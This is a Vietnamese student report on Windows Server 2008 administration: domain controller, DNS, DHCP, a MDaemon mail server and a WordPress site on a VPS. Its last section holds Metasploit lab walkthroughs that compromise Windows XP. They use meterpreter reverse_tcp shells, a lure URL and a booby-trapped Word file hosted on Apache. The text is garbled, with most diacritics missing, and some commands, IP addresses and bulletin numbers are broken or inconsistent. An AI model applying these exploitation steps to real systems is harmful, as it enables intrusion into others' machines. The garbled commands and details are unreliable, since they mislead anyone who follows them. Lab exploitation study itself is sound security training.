Server Manager là môt công cu cho phép ta thưc hiên hầu hêt các thao tác

quan tri trên Windows Server 2008, từ các dich vu server như Active Directory,


Trang 30


DNS, DHCP, … đên các thành phần cua hê thông như NET Framework 3.0,

Network Load Balancing, Group Policy Management, … ; từ hê thông firewall,

quan lý users và groups đên các dich vu sao lưu hê thông, quan ly đĩa v.v…

Có thê nói rằng công cu này là kêt qua cua sư kêt hơp hoan hao các công cu

quan lý trên những phiên ban Windows trươc đo.

Theo măc đinh, Server Manager sẽ tư đông khởi đông ngay sau khi ban đăng

nhâp vào hê thông. Nêu đã đong cửa sô này, ta có thê thưc hiên môt trong những

cach sau đê mở lai:

Kích chuôt phai vào biêu tương Computer trên desktop, chon Manage.

Các thành phần trong Server Manager

Khi làm viêc vơi Server Manager, ta sẽ tương tac vơi 5 thành phần chính :

- Roles cho phép bô sung và loai bỏ các dich vu cua server. Tai đây ta

cũng co thê quan lý chi tiêt dữ liêu tương ưng vơi mỗi dich vu.

- Features cho phép bô sung và loai bỏ các thành phần trên Windows

Server 2008. Chưc năng nay tương tư như Add/Remove Windows Components

trong các phiên ban Windows trươc đo.

- Diagnostics tích hơp các thành phần Event Viewer, Reliability and

Performance và Device Manager.

- Configuration bao gồm các công cu Local Users And Group, Task

Scheduler, Windows Firewall with Advanced Security, WMI Control và

Services. WMI Control đươc dùng đê quan lý các dich vu Windows Management

Instrumentation.

- Storage tích hơp hai công cu Windows Server Backup và Disk

Management.


Trang 31


Hình 1.2-4 Quản lý chi tiêt trên Active Directory Users and Computer.

Quản lý các dịch vụ Server (Roles)

Đê mở các cửa sô quan lý các dich vu server, ta chon muc Roles ở khung

bên trái cua màn hình Server Manager. Trên Windows Server 2008 nói chung, ta

có thê triên khai tât ca 16 dich vu server từ Active Directory Domain Services đên

cac server như DHCP, DNS, Web, …

Lưu ý: ngoài 16 dich vu server có măt trên tât ca các phiên ban Windows

Server 2008, Microsoft còn cung câp môt dich vu server nữa, đo la Hyper-V.

Hyper-V là công nghê ao hóa chi chay trên các nên tang hê điêu hành 64-bit.

Đê cai đăt môt dich vu server bât kỳ, ta đanh dâu chon vao ô tương ưng trên

hôp thoai Select Server Roles. Tiêp theo, bâm nut Install đê băt đầu. Trong tiên

trinh cai đăt, tùy theo đăc điêm riêng cua từng dich vu server, ta sẽ điên thông tin và

thưc hiên các thao tác cần thiêt đê hoàn thành tiên trình.


Trang 32


Hình 1.2-5 Các dịch vụ Server trên Windows Server 2008

Quản lý các thành phần (Features)

Đê mở cửa sô quan lý các thành phần, ta chon muc Features ở khung bên

trái cua màn hình Server Manager. Trên Windows Server 2008 ta có thê tương tac

vơi tât ca 35 thành phần.

Đê cai đăt môt thành phần bât kỳ, ban đanh dâu chon vao ô tương ưng trên

hôp thoai Select Features. Tiêp theo, bâm nút Install đê băt đầu. Trong tiên trình

cai đăt, tùy theo đăc điêm riêng cua từng thành phần, ban sẽ điên thông tin và thưc

hiên các thao tác cần thiêt đê hoàn thành tiên trình.


Trang 33


Hình.1.2-6 Các thành phần Feature trên Windows Server 2008.

Sau khi cai đăt xong, thông tin và trang thái cua các thành phần sẽ hiên thi

trong khung Features Summary thuôc cửa sô Server Manager. Tai đây, ta cũng

có thê thưc hiên các thao tác bô sung và loai bỏ các thành phần này.

Quản lý không gian lưu trữ và sao lưu dữ liệu (Storage) và Backup Server.

Măc đinh, Windows Server Backup chưa sẵn dùng trên Windows Server

2008. Do đo, ta cần bô sung thành phần này vào hê thông trươc khi sử dung. Các

bươc thưc hiên như sau :


Trang 34


Trong cửa sô Server Manager, ở khung Feature Summary, ta chon Add

Features.

Hình 1.2-7

Trong màn hình Select Features, đanh dâu chon muc Windows Server Backup

Features và bâm nút Next.

Hình 1.2-8


Trang 35


Trong màn hình Confirm Insatallation Selection, bâm nút Install đê băt đầu cài

đăt.

Hình 1.2-9

Trong màn hình Installation Results, bâm nút Close đê hoàn thành thao tác bô

sung thành phần cần thiêt vào Windows Server 2008

Hình 1.2-10


Trang 36


Kích chuôt phai lên muc Windows Server Backup trong Storage, chon Backup

Schedule.

Hình 1.2-11

Trong màn hình Getting started, bâm nút Next.

Hình 1.2-12


Trang 37


Trong màn hình Select backup configuration, chon Custom nhân Next.

Hình 1.2-13

Trong màn hình Select backup items, chon ô đĩa chưa hê điêu hành, trong trương

hơp này là ô đĩa C: nhân nút Next.

Hình 1.2-14


Trang 38


Trong màn hình Specify backup time, chon sô lần và thơi điêm sao lưu. Ở đây,

chúng ta chon sao lưu vao luc 9:00 tôi mỗi ngày (Once a day). Sau khi chon xong,

nhân nút Next.

Hình 1.2-15

Trong màn hình Select destination disk, đanh dâu chon vào ô đĩa ma ta sẽ sao lưu

đên và nhân Next.


Trang 39


Hình 1.2-16

Nhân Yes đê tiêp tuc.

Hình 1.2-17

Trong màn hình Label destination disk, nhân Next.


Trang 40


Hình 1.2-18


Trang 41


Trong cửa sô Confirmation nhân Finish.

Hình 1.2-19

Trong màn hình Summary nhân Finish đê hoàn thành thao tác tao lich trinh sao lưu

ô đĩa. Cuôi cùng nhân Close đê đong.


Trang 42


Hình 1.2-20


Trang 43


1.3 Cấu hình Domain

1.3.1 Mục đích

Cài Domain Controller trên máy server và tiên hành join PC vào Domain và

đăng nhâp Domain Administrator đê sử dung Administrator Tools cho máy PC.

Muc đich cuôi cùng la cai đăt Domain Controller và join PC vào Domain

thành công.

1.3.2 Mô hình.

Gồm 1 Server và 1 PC.

Hình 1.3.2

1.3.3 Các bước thực hiện

Giông như Windows Server 2003 sẽ vẫn cần chay dcpromo từ nhăc lênh Run, tuy

nhiên cần phai cai đăt Active Directory Domain Controller role, đầu tiên ban cài

đăt role, sau đo chay dcpromo.Vào Server Manager Roles Add Roles


Trang 44


(Hình 1.3.4-1)

Xuât hiên trang Before You Begin, nhân Next đê tiêp tuc.

(Hình 1.3.4-2)


Trang 45


Chon Active Directory Domain Services Add Required Features đê cai đăt

thêm cac tinh năng nay vơi Active Directory Server Role.

(Hình 1.3.4-2)

Sau khi chon Active Directory DC Server Role, ban sẽ thây các thông tin vê Server

Role.

Kích Install đê cai đăt các file yêu cầu nhằm chay dcpromo


Trang 46


(Hình 1.3.4-3)

Cai đăt đươc thưc hiên thành công. Kích Close.

(Hình 1.3.4-4)


Trang 47


Lúc này vào menu Start, đanh dcpromo vào hôp tìm kiêm. Kích dcpromo

(Hình 1.3.4-5)

Thao tác này sẽ khởi chay Welcome to the Active Directory Domain Service

Installation Wizard. Kích Next.

(Hình 1.3.4-6)


Trang 48


Sau đo tiêp tuc nhân Next.

Trong trang Choose a Deployment Configuration Create a new domain in a

new forest..

(Hình 1.3.4-7)

Trong trang Name the Forest Root Domain, nhâp vào tên cua miên trong hôp nhâp

liêu FQDN of the forest room domain.Nhân Next đê tiêp tuc.


Trang 49


(Hình 1.3.4-8)

Trong trang Set Forest Functional Level , chon Windows Server 2008. Nhân Next

đê tiêp tuc.


Trang 50


(Hình 1.3.4-9)

Trong trang Additional Domain Controller Options, Chon DNS server và kích

Next.


Trang 51


(Hình 1.3.4-10)

Môt hôp thoai sẽ xuât hiên noi răng không thê tao đai biêu cho máy chu DNS này vì

không thê tìm thây vùng xác thưc hoăc nó không chay Windows DNS server. Lý do

cho điêu nay la vi đây la DC đầu tiên trên mang. Nhân Next đê tiêp tuc.

(Hình 1.3.4-11)


Trang 52


Đê lai thư muc Database, Log Files và SYSVOL, kích Next.

(Hình 1.3.4-12)

Trong Directory Service Restore Mode Administrator Password, nhâp môt mât

khẩu manh vào các hôp nhâp liêu Password và Confirm password.


Trang 53


(Hình 1.3.4-13)

Xác nhân các thông tin trên trang Summary và kích Next.


Trang 54


(Hình 1.3.4-14)

Active Directory sẽ cai đăt. Đăt môt dâu kiêm vào hôp chon Reboot on completion

đê máy tính sẽ tư đông khởi đông lai khi cai đăt DC đươc hoàn tât.

(Hình 1.3.4-15)


Trang 55


. Cai đăt sẽ hoàn tât khi đăng nhâp.

JON DOMAIN

Đầu tiên chúng ta sẽ trỏ đương dẫn IP cua máy cline vê ip cua server.

(Hình 1.3.4-16)

Trên Desktop: Click phai icon Computer > Properties

Hôp thoai System: Change settings


Trang 56


(Hình 1.3.4-17)

Hôp thoai System Properties: tab Computer Name > Change


Trang 57


(Hình 1.3.4-18)

Hôp thoai Computer Name / Domain

Changes: Chon “Domain” > nhâp domain

name: Athena.edu.vn > OK


Trang 58


(Hình 1.3.4-19)

Hôp thoai Windows Security: Nhâp user name Admintrator or user & password

P@ssword > OK

(Hình 1.3.4-20)


Trang 59



Changes: OK

(Hình 1.3.4-21)


Changes: OK

(Hình 1.3.4-22)

Hôp thoai Microsoft Windows: Restart Now

Sau khi WS khởi đông xong, quá trình gia Nhâp domain hoàn tât.


Trang 60


(Hình 1.3.4-23)

1.4 Cai đăt dich vu DNS

DNS (Domain Name System) Server là máy chu đươc dùng đê phân giai

Domain thanh đia chi IP va ngươc lai. Ví du: athena.edu.vn là 192.168.1.82.

Vê cách thưc hoat đông, DNS Server lưu trữ môt cơ sở dữ liêu bao gồm

các ban ghi DNS và dich vu lăng nghe các yêu cầu. Khi máy client gửi yêu cầu

phân giai đên, DNS Server tiên hành tra cưu trong cơ sở dữ liêu và gửi kêt qua

tương ưng vê máy client.

Tai cửa sô Server Manager, chon muc Roles, chon muc Add Roles.

Hình 1.4-1

Chon DNS và click Next


Trang 61


Hình 1.4-2

Nhân Next.

Hình 1.4-3


Trang 62


Click Install đê cai đăt DNS

Hình 1.4-4

Qua trinh cai đăt hoàn tât.

Hình 1.4-5


Trang 63


Đê câu hình DNS Server vào menu Start Administrative Tools → DNS.

Hình 1.4-6

Right click Forward Lookup Zones, chon New Zone.

Hình 1.4-7


Trang 64


Trong màn hình Welcome, nhân Next.

Hình 1.4-8

Trong màn hình Zone Type, chon Primary zone đê câu hình DNS Server chính.

Sau đo nhân Next.

Hình 1.4-9


Trang 65


Trong màn hình Zone Name, ta nhâp tên zone vào muc Zone name, ví du

athena.edu.vn. Sau đo nhân Next.

Hình 1.4-10

Trong màn hình Zone File, ta châp nhân giá tri măc đinh va nhân Next.

Hình 1.4-11


Trang 66


Đê măc đinh và nhân Next.

Hình 1.4-12

Trong màn hình Completing, ta xem lai thông tin vê DNS Server và nhân Finish đê

hoàn thành thao tác câu hình DNS.

Hình 1.4-13


Trang 67


Tiêp theo, ta Right click vào athena.edu.vn chon New Host(A or AAA)…

Hình 1.4-14

Trong cửa sô New Host điên www vào Name, nhâp IP 192.168.1.82 vào IP

address, nhân Add Host.

Hình 1.4-15

Tao host thành công, nhân OK.


Trang 68


Hình 1.4-16

Tương tư ta tao thêm host mail.

Hình 1.4-17

Tao host mail thành công, nhân OK.

Hình 1.4-18


Trang 69


Vơi cac bươc vừa thưc hiên ở trên, ta đã câu hình chưc năng Forward.

Tiêp theo, ta sẽ câu hình chưc năng Reverse. Right click Reverse Lookup Zones,

chon New Zone.

Hình 1.4-19

Trong màn hình Welcome, nhân Next.

Hình 1.4-20


Trang 70


Trong màn hình Zone Type, chon Primary. Sau đo nhân Next.

Hình 1.4-21

Trong màn hình Reverse Lookup Zone Name, chon Ipv4.


Trang 71


Hình 1.4-22

Tiêp theo, điên Network ID cua mình và nhân Next.

Hình 1.4-23


Trang 72


Trong màn hình Zone File, châp nhân giá tri măc đinh nhằm tao ra môt file dùng đê

lưu cac ban ghi DNS cho zone này, nhân Next.

Hình 1.4-24

Trong màn hình Dynamic Update, chon Do not allow dynamic updates va nhân

Next.


Trang 73


Hình 1.4-25

Trong màn hình Completing, nhân Finish đê hoan thành thao tác câu hình chưc

năng Reverse trên DNS Server chính.

Hình 1.4-26


Trang 74


Câu hinh host đai diên dùng đê phân giai tên ra sô.

Trong man hinh DNS Manager, chon Forward Lokkup Zones, right click

athena.edu.vn, chon New Pointer (PTR)…

Hình 1.4-27


Trang 75


Muc Host IP_Address nhâp 192.168.1.1 và muc Host name nhân Browse….

Chon đên www.athena.edu.vn. Nhân OK.

Hình 1.4-28

Tương tư cho mail

http://www.athena.edu.vn/


Trang 76


Hình 1.4-29

Đê kiêm tra, vào cmd go nslookup, www.athena.edu.vn, mail.athena.edu.vn.

Hình 1.4-30

Cai đăt và câu hình DNS thành công.


Trang 77


1.5 Cấu hình DHCP

- Dich vu DHCP cho phép chúng ta câp đông các thông sô câu hình mang cho

các máy tram.(client).

- Cơ chê sử dung các thông sô mang đươc câp phat đông co ưu điêm hơn so

vơi cơ chê khai bao tĩnh cac thông sô mang như:

-Khăc phuc đươc tình trang đung đia chi IP và giam chi phí quan tri cho hê

thông mang.Giúp cho các nhà cung câp dich vu (ISP) tiêt kiêm đươc sô lương đia

chi IP thât (Public IP).Phù hơp cho cac may tinh thương xuyên di chuyên qua lai

giữa các mang.Kêt hơp vơi hê thông mang không dây (Wireless) cung câp cac điêm

Hotspot như: nha ga, sân bay, trương hoc…

Đôi vơi Windows Server 2008, cách thưc cai đăt và câu hinh đươc mô ta

chi tiêt ngay sau đây.

Mở cửa sô Server Manager. Trong khung ở bên phai, nhân Add Roles.

Hình 1.5-1


Trang 78


Chon dich vu DHCP va nhân Next.

Hình 1.5-2

Nhân Next.


Trang 79


Hình 1.5-3

Chon card mang lăng nghe yêu cầu xin câp DHCP va nhân Next.

Hình 1.5-4


Trang 80


Nhâp thông tin vê Domain va cac DNS Server, sau đo nhân Next.

Hình 1.5-5

Trong màn hình Specify IPv4 WINS Server Settings, chon WINS is not required

for applications on this network. Sau đo nhân Next.


Trang 81


Hình 1.5-6

Trong màn hình Add or Edit DHCP Scopes, nhân Add. Va điên các thông tin cần

thiêt. và nhân OK.

Hình 1.5-7

Sau khi hoàn thành viêc đinh nghĩa cac dãy đia chi, ta nhân Next trong màn hình

Add or Edit DHCP Scopes.


Trang 82


Hình 1.5-8

Trong màn hình Configure DHCPv6 Stateless Mode, chon Disable DHCPv6

stateless mode for this server.

Hình 1.5-9


Trang 83


Trong màn hình Authorize DHCP Server, chon tài khoan dùng đê câp phép

(authorizing) cho DHCP Server trong Active Directory Domain Services. Sau đo,

nhân Next.

Hình 1.5-10

Trong màn hình Confirm Installation Selections, ta xem lai các thiêt lâp vừa thưc

hiên và nhân Install đê băt đầu cài đăt.


Trang 84


Hình 1.5-11

Như vây chung ta đã hoan tât qua trinh cai đăt và câu hình dich vu DHCP.

Đên đây, DHCP đã sẵn sàng cung câp đia chi IP cho các máy tram trong hê

thông mang. Nêu muôn hiêu chinh các thông sô câu hình, ta thưc hiên theo các

bươc sau:

Vào menu Start/Programs/Administrative Tools, chon DHCP.


Trang 85


Hình 1.5-12

Mở rông muc IPv4, right click dòng Scope [192.168.1.0], chon Properties.

Hình 1.5-13

Trên tab General , ta có thê thay đôi các giá tri Scope name, Start IP address, End

IP address, giơi han thơi gian đia chi IP tồn tai trên máy tram.


Trang 86


Hình 1.5-14

Đê thay đôi gateway, ta kích chuôt phai lên muc 003 Router trong Scope Options,

chon Properties.

Hình 1.5-15


Trang 87


Thay đôi giá tri gateway bằng các chưc năng Add và Remove.

Hình 1.5-16

Đê thay đôi đia chi các DNS Server, right click dòng 006 DNS Servers trong

Server Options, chon Properties.

Hình 1.5-17


Trang 88


Thay đôi đia chi cua DNS Server bằng chưc năng Add và Remove.

Hình 1.5-18

Đê thay đôi tên miên, right click dòng 015 DNS Domain Name trong Server

Options, chon Properties.

Hình 1.5-19


Trang 89


Nhâp tên miên mơi vào muc String value.

Hình 1.5-20

Câu hinh đia chi IP đông trên máy tram ta mở cửa sô Network Connections và truy

câp vào hôp thoai Internet Protocol (TCP/IP) Properties. Tai đây, ta chon Obtain

an IP address automatically và Obtain DNS server address automatically. Sau

đo nhân OK.


Trang 90


Hình 1.5-21

Trên máy tram lênh xin câp đia chi DHCP bằng cách vào Start Run gõ cmd

Enter.

Hình 1.5-22


Trang 91


Gõ lênh inconfig /renew.

Hình 1.5-23

Đê xin tra lai đia chi IP ma DHCP đã câp gõ lênh ipconfig /release.

Hình 1.5-24

Như vây chung ta đã hoan thanh viêc câp đia chi IP đông bằng dich vu DHCP


Trang 92


Hình 1.5-25

2 Làm việc với Windows Sever 2008 trên máy chủ ảo VPS

2.1 Giới thiệu về máy chủ ảo VPS

VPS theo lưu lương là loai hình máy chu VPS tiên dung, phù hơp & đem

lai nhiêu lơi ích, hiêu qua cho các khách hàng mong muôn có môt máy chu riêng

vơi chi phí cưc thâp.

VPS là dich vu máy chu chay dươi dang chia sẻ từ 1 tài nguyên server

chính hoat đông như môt Dedicated Server. Ngươi quan tri (khách hàng) có quyên

cao nhât đê toàn quyên quan tri Server.


Trang 93


VPS kêt nôi Internet vơi 01 IP tĩnh va đươc cai đăt sẵn hê điêu hành tùy

chon. VPS quan tri từ xa va cai đăt các phần mêm theo nhu cầu mà không bi giơi

han sô lương domain.

VPS thích hơp cho viêc xây dưng hê thông Mail Server, Web Server,

Backup/Storage Server... dùng riêng hoăc truyên tai file dữ liêu giữa các chi nhánh

vơi nhau môt cách dễ dàng, nhanh chóng thuân tiên và bao mât.

VPS dễ dàng nâng câp tài nguyên mà không cần trang bi phần cưng máy

chu giam tôi đa chi phí.

VPS dễ dàng tái tao lai hê điêu hành khi găp sư cô hê thông vơi thơi gian

thưc hiên rât nhanh mà hoàn toàn không cần cai đăt lai từ đầu.

VPS như môt giai pháp dung hòa giữa Web Hosting và Dedicated Server

theo ca nghĩa chi phi va cach thưc vân hành, vì vây đây la giai pháp phù hơp cho

các cá nhân hoăc doanh nghiêp nhỏ muôn có môt hê thông máy chu riêng biêt, toàn

quyên quan lý vơi chi phí thâp.

Hình 3.2.1 Giao diện Remote Desktop Connection


Trang 94


Thông qua chương trinh Remote Desktop Connection ta truy câp vao VPS đã đươc

thuê đê tiên hành câu hình, triên khai các dich vu như trên may thât.

Hình 3.2.2 Giao diện ban đầu khi đăng nhập vào máy chủ VPS

Chúng ta tiên hành nhâp User name va Password đã đươc cung câp từ bên cho thuê

đê truy câp vào.

Hình 3.2.3 Giao diện khi đã đăng nhập vào máy chủ VPS

2.2 Mail Server

Hiên nay có rât nhiêu phần mêm quan ly Mail trên Server như: Mail

Exchange,… nhưng MDaemon Mail Server: la 1 trong những giai pháp hê thông

Mail Server toàn diên nhât hiên nay dành cho các công ty, doanh nghiêp vơi quy mô

khác nhau. MDaemon Mail Server hiên có 3 phiên ban: Standard, Pro và Free. Sau

đây la môt sô điêm đang chu y cua chương trinh.


Trang 95


Hình 2.2-1 Giao diện Mdeamon.

Màn hình hiên thi chính cua MDaemon (Graphical User Interface - GUI) đưa

ra thông tin quan trong vê các nguồn tài nguyên, các giao dich, sô liêu thông kê,

luồng dữ liêu đang trong trang thái hoat đông (active) va cac mail đang trong qua

trình chơ đơi (queued) đê đươc xử lý. Bên canh đo, còn co sư lưa chon cho ngươi

dùng chuyên đôi trang thai activating/deactivating đôi vơi các hê thông máy chu

khác nhau có sử dung MDaemon. Cửa sô bên phai hiên thi đầy đu thông tin vê kêt

nôi dữ liêu đầu vào va ra (incoming va outgoing) đang đươc thưc hiên.


Trang 96


Sau đây la qua trinh cai đăt 1 Mail Server trên phần mêm Mdeamon.

Trươc tiên, ta tai phiên ban MDaemon Mail Server mơi nhât và băt đầu quá

trinh cai đăt.

Hình 2.2-2

Hình 2.2-3


Trang 97


Bâm "Next" đê tiêp tuc.

Hình 2.2-4

Đanh dâu vào ô "I have read and I agree with all the terms of this license

agreement"

Hình 2.2-5


Trang 98


Chon đương dẫn lưu trữ cua chương trinh, măc đinh sẽ là ô C hê thông (ô đĩa co cai

hê điêu hành Microsoft Windows).

Hình 2.2-6

Lưa chon phiên ban cai đăt, nêu ban co key đăng ky thi nhâp vao ô phia dươi.

Ở ví du sử dung là phiên ban free hoăc miễn phí 30 ngày cua phiên ban Pro.

Hình 2.2-7


Trang 99


Nhân Next đê tiêp tuc

Hình 2.2-8

Tiên trinh đang cai đăt

Hình 2.2-9

Điên tên Domain: tranlevu.tk


Trang 100


Hình 2.2-10

Hình 2.2-11

Primary DNS IP Address và Backup DNS IP Address: điên đia chi DNS

14.0.21.130

Hình 2.2-12

Giữ nguyên lưa chon "Setup MDaemon as a system service"


Trang 101


Hình 2.2-13

Bâm "Finish" đê kêt thuc qua trinh cai đăt và câu hình ban đầu, băt đầu sử dung

Hình 2.2-14


Trang 102


Giao diên sau khi cai đăt thành công.

Hình 2.2-15


Trang 103


Tao 1 tài khoan mơi vào Account New Account…

Hình 2.2-16

Nhâp thông tin vào Email address và Email Password. Click OK đê tao tài khoan

Email.

Hình 2.2-17


Trang 104


Vào OutLook Express.

Hình 2.2-18

Câu hinh Out Look mail đê quan lý mail cho tài khoan. Nhâp tên hiên thi vào

Display name va nhân Next.

Hình 2.2-19


Trang 105


Nhâp đia chi Email và nhân Next.

Hình 2.2-20

Nhâp đia chi IP máy VPS vào 2 ô Incoming và Outgoing và click Next.

Hình 2.2-21

Nhâp tên tài khoan và mât khẩu. Nhân Next


Trang 106


Hình 2.2-22

Click Finish đê hoàn tât câu hình quan lý mail cho tài khoan.

Hình 2.2-23


Trang 107


Tiên hành gởi mail đên gmail và yahoo mail

VD: [email protected] gởi đên [email protected] và

[email protected]

Hình 2.2-24

mailto:[email protected]



Trang 108


Gmail đã nhân đươc Mail từ [email protected]

Sau đo tiên hành reply cho [email protected]

Hình 2.2-25

Yahoo mail đã nhân đươc Mail từ [email protected]

Hình 2.2-26

Athena1 nhân mail thành công từ gmail và yahoo mail.

Như vây chung ta đã hoan thanh viêc cai đăt và quan lý môt Mail Server trên phần

mêm Mdeamon.





Trang 109


2.3 Cài đặt và cấu hình Web Server trên VPS

2.3 Cài đặt và cấu hình Web Server trên VPS

XAMPP la môt bô công cu lâp trinh PHP co thê cai đăt đươc trên nhiêu

nên tang khac nhau. Chữ X đầu tiên trong cum từ XAMPP am chi cross-platform

nghĩa la XAMPP co thê chay trên Windows, Linux, Mac OS, Solaris, còn cac ky tư

còn lai mang cac y nghĩa sau:

A = Apache, XAMPP bao gồm 1 Apache HTTP Server giup chay cac ưng dung

web.

M = MySQL, hê quan tri cơ sở dữ liêu My SQL cũng đươc bao gồm trong XAMPP .

P = PHP – ngôn ngữ lâp trình PHP.

P = Perl – ngôn ngữ lâp trinh Perl.


Trang 110


Sau đây chung ta cùng cai đăt va câu hinh Web Server bằng Xampp 1.7.3

Đăng nhâp may chu ao VPS

Hình 2.3-1

Chúng ta download và tiên hanh chay file xampp1.7.3.exe đê cai đăt.

Hình 2.3-2

Chon Run đê cai đăt.


Trang 111


Hình 2.3-3

Theo măc đinh XAMPP sẽ đươc cai đăt ở đương dẫn C:\xampp, ta có thê nhân

Browse… và chon đương dẫn cai đăt khác. Sau đo nhân Install .

Hình 2.3-4

Xampp tiên hành giai nén.


Trang 112


Hình 2.3-5

Gõ y → Enter.

Hình 2.3-6

Gõ y → Enter.


Trang 113


Hình 2.3-7

Gõ n → Enter.

Hình 2.3-8


Trang 114


Nhân phím bât ki đê tiêp tuc.

Hình 2.3-9

Go x → Enter.

Hình 2.3-10

Qua trinh cai đăt XAMPP hoàn tât.

Double click XAMPP Control Panel trên Desktop.

Hình 2.3-11


Trang 115



Trang 116


Click Start ở muc Apache và MySql trong Xampp Control Panel Application.

Hình 2.3-12

Vào trình duyêt web và gõ vào localhost. Và chon ngôn ngữ là English.

Hình 2.3-13


Trang 117


Click vào phpMyAdmin.

Hình 2.3-14

Ta đăt tên cơ sở dữ liêu vào ô Create new database và click Create đê tao

database.

Hình 2.3-15


Trang 118


Database đã đươc tao thành công.

Hình 2.3-16

Tiêp theo ta copy mã nguồn wordpress ma chung ta đã download trên Internet vào

đương dẫn cai đăt C:\xampp\htdocs\.

Hình 2.3-17


Trang 119


Vao thư muc wordpress mà chúng ta vừa copy xong, tìm File wp-config-

sample.php và mở nó lên bằng Notepad.

Hình 2.3-18

Tìm và sửa thông tin lai như hinh. Save lai.

Hình 2.3-19


Trang 120


Đôi tên file vừa sửa lai thành wp-config.php.

Hình 2.3-20

Đôi tên folder wordpress trong hthocs thành news cho dễ quan lý.

Hình 2.3-21


Trang 121


Vào trình duyêt web gõ đương dẫn localhost/news nhân Enter.

Hình 2.3-22

Sau đo click Install wordpress.

Hình 2.3-23


Trang 122


Câu hình Wordpress thành công. Ta Click Log In.

Hình 2.3-24


Trang 123


Điên thông tin vừa thiêt lâp, click Log In.

Hình 2.3-25

Man hinh sau khi đăng nhâp thành công.

Hình 2.3-26


Trang 124


Ta vào Settings → General → điên đia chi chúng ta muôn truy câp khi lươt web

vào 2 ô Wordpress address và Site Address. Nhân Save Changes.

Hình 2.3-27

Trang chu cua Web chúng ta khi vừa tao xong.

Hình 2.3-28

Tùy vào sở thích, tính thẳm mỹ cua mỗi ngươi ta có thê Design cho mình môt trang

web đẹp măt.


Trang 125


3 Bảo mật windows

3.1 Khai thác lỗ hong trên Windows XP với ma lỗi MS10_042

Chuẩn bi 2 máy ao: máy Backtrack 5 R3 (máy tân công) và Windows XP (nan

nhân)

Hình 3.1-1

Hình 3.1-2

Trên máy BackTrack câu hinh đia chi IP trong bài lab này cho máy là:

192.168.177.131


Trang 126


Hình 3.1-3

Trên máy BackTrack vao chương trinh terminal và gõ lênh msfconsole

Hình 3.1-4

Tìm mã lỗi bằng công cu metaploit bằng cách gõ lênh search ms12_042


Trang 127


Hình 3.1-5

Sau khi search đươc mã lỗi ta dùng lênh use và copy mã lỗi đã tim đươc.

Hình 3.1-6


Trang 128


Dùng lênh show options đê biêt thêm các câu lênh cần thiêt.

Hình 3.1-7

Dùng lênh srvhost<địa chỉ ip máy backtrack>

Hình 3.1-8

Dùng lênh Set payload windows/meterpreter/preverse_tcp


Trang 129


Hình 3.1-9

Dùng lênh Set lhost<ip backtrack>

Hình 3.1-10


Trang 130


Dùng lênh exploit đê tiên hành khai thác lỗi. Chu y đương dẫn

http://192.168.255.131:80 nêu máy nan nhân vao đương dẫn này sẽ bi hack.

Hình 3.1-11

Máy Windows XP. Kiêm tra đia chi IP máy XP. Vơi đia chi ip máy XP là

192.168.177.132

Trên máy XP ta vào trình duyêt web va go đương dẫn http://192.168.177.131:80

Hình 3.1-13

http://192.168.255.131/

http://192.168.177.131/


Trang 131


Trên máy XP tư đông xuât hiên hôp thoai Help and Support.

Hình 3.1-14

Trên máy BackTrack băt đầu nhân thây có sư kêt nôi đên đia chi 192.168.177.132

Hình 3.1-15


Trang 132


Dùng lênh sessions –i 1

Hình 3.1-18

Dùng lênh sysinfo đê xem thông tin máy nan nhân. Va như vây ta đã khai thac

thành công lỗ hông MS12_042 trên may XP.

Hình 3.1-19


Trang 133


3.2 Khai thác lỗ hong bảo mật Win XP mã lỗi MS12_004


nhân)

Hình 3.2-1

Hình 3.2-2


192.168.177.131


Trang 134


Hình 3.2-3


Hình 3.2-4



Trang 135


Hình 3.2-5


Hình 3.2-6


Trang 136



Hình 3.2-7

Dùng lênh srvhost<địa chỉ ip máy backtrack>

Hình 3.2-8

Dùng lênh Set payload windows/meterpreter/preverse_tcp


Trang 137


Hình 3.2-9


Hình 3.2-10


Trang 138


Dùng lênh exploit đê tiên hành khai thác lỗi. Chu y đương dẫn

http://192.168.255.128:8080/BIhLISbueVnN nêu máy nan nhân vao đương dẫn này

sẽ bi hack.

Hình 3.2-11

Máy Windows XP. Kiêm tra đia chi IP máy XP. Vơi đia chi ip máy XP là

192.168.1.132

http://192.168.255.128:8080/BIhLISbueVnN


Trang 139


Trên máy XP ta vào trình duyêt web va go đương dẫn

http://192.168.177.131:80/YQLxzg3eM

Hình 3.2-13


Trang 140


Trên máy XP tư đông sẽ bi hack.

Trên máy BackTrack băt đầu nhân thây có sư kêt nôi đên đia chi 192.168.177.131

Hình 3.2-16


Trang 141


Dùng lênh sessions –i 1

Hình 3.2-18

Dùng lênh sysinfo đê xem thông tin máy nan nhân. Va như vây ta đã khai thac

thành công lỗ hông MS12_004 trên may XP.

Hình 3.2-19


Trang 142


3.3 Khai thác lỗ hổng trên Win XP với mã lỗi MS12_027


nhân)

Hình 3.3-1

Hình 3.3-2


192.168.255.128


Trang 143


Hình 3.3-3


Hình 3.3-4


Trang 144



Hình 3.3-5


Hình 3.3.6


Hình 3.3-7

Dùng lênh Set filenametên file. (vd: baocao.doc)

Hình 3.3-8


Trang 145


Dùng lênh Set Payload windows/meterpreter/preverse_tcp

Hình 3.3-9


Hình 3.3-10

Dùng lênh exploit đê khai thác lỗi.

Hình 3.3-11

Copy file đã tiêm mã đôc ra ngoài màn hình destop bằng lênh cpđường dẫn file

nguồnđường dẫn file đích

Hình 3.3-12

Dùng lênh use/exploit/multi/handler

Hình 3.3-13

Copy file baocao.doc ở Desktop vao thư muc var/www va upload file nay lên web.

Mở thêm cửa sô root mơi go lênh /etc/init.d/apache2 start.


Trang 146


Hình 3.3-14

Dùng lênh Set Payload windows/meterpreter/reverse_tcp

Hình 3.3-15


Hình 3.3-16

Dùng lênh exploit đê băt đầu lăng nghe.

Hình 3.3-17

Trên máy XP ta vào trình duyêt web đê download file ta đã up trên may BackTrack

bằng cách gõ: 192.168.255.128/baocao.doc

Hình 3.3-18

Xuât hiên hôp thoai và nhân Save đê download


Trang 147


Hình 3.3-19

Khi máy XP mở file word có nhiễm mã đôc thì sẽ bi hack.

Hình 3.3-20


Trang 148


Bên máy BackTrack đã nhân thây 1 kêt nôi và tao phiên kêt nôi vơi nan nhân.

Hình 3.3-21

Dùng lênh sysinfo đê kiêm tra. Như vây ta đã hoan thanh khai thac lỗi MS12_027

trên win XP.

Hình 3.3-22


Trang 149


4 Các kết quả đạt được

Sau khi tìm hiêu và triên khai các dich vu trên máy ao VMWare và VPS em

đã co kiên thưc vê:

Nguyên ly cơ ban cua hê điêu hành mang, kiên thưc vê hê thông mang, có kỹ

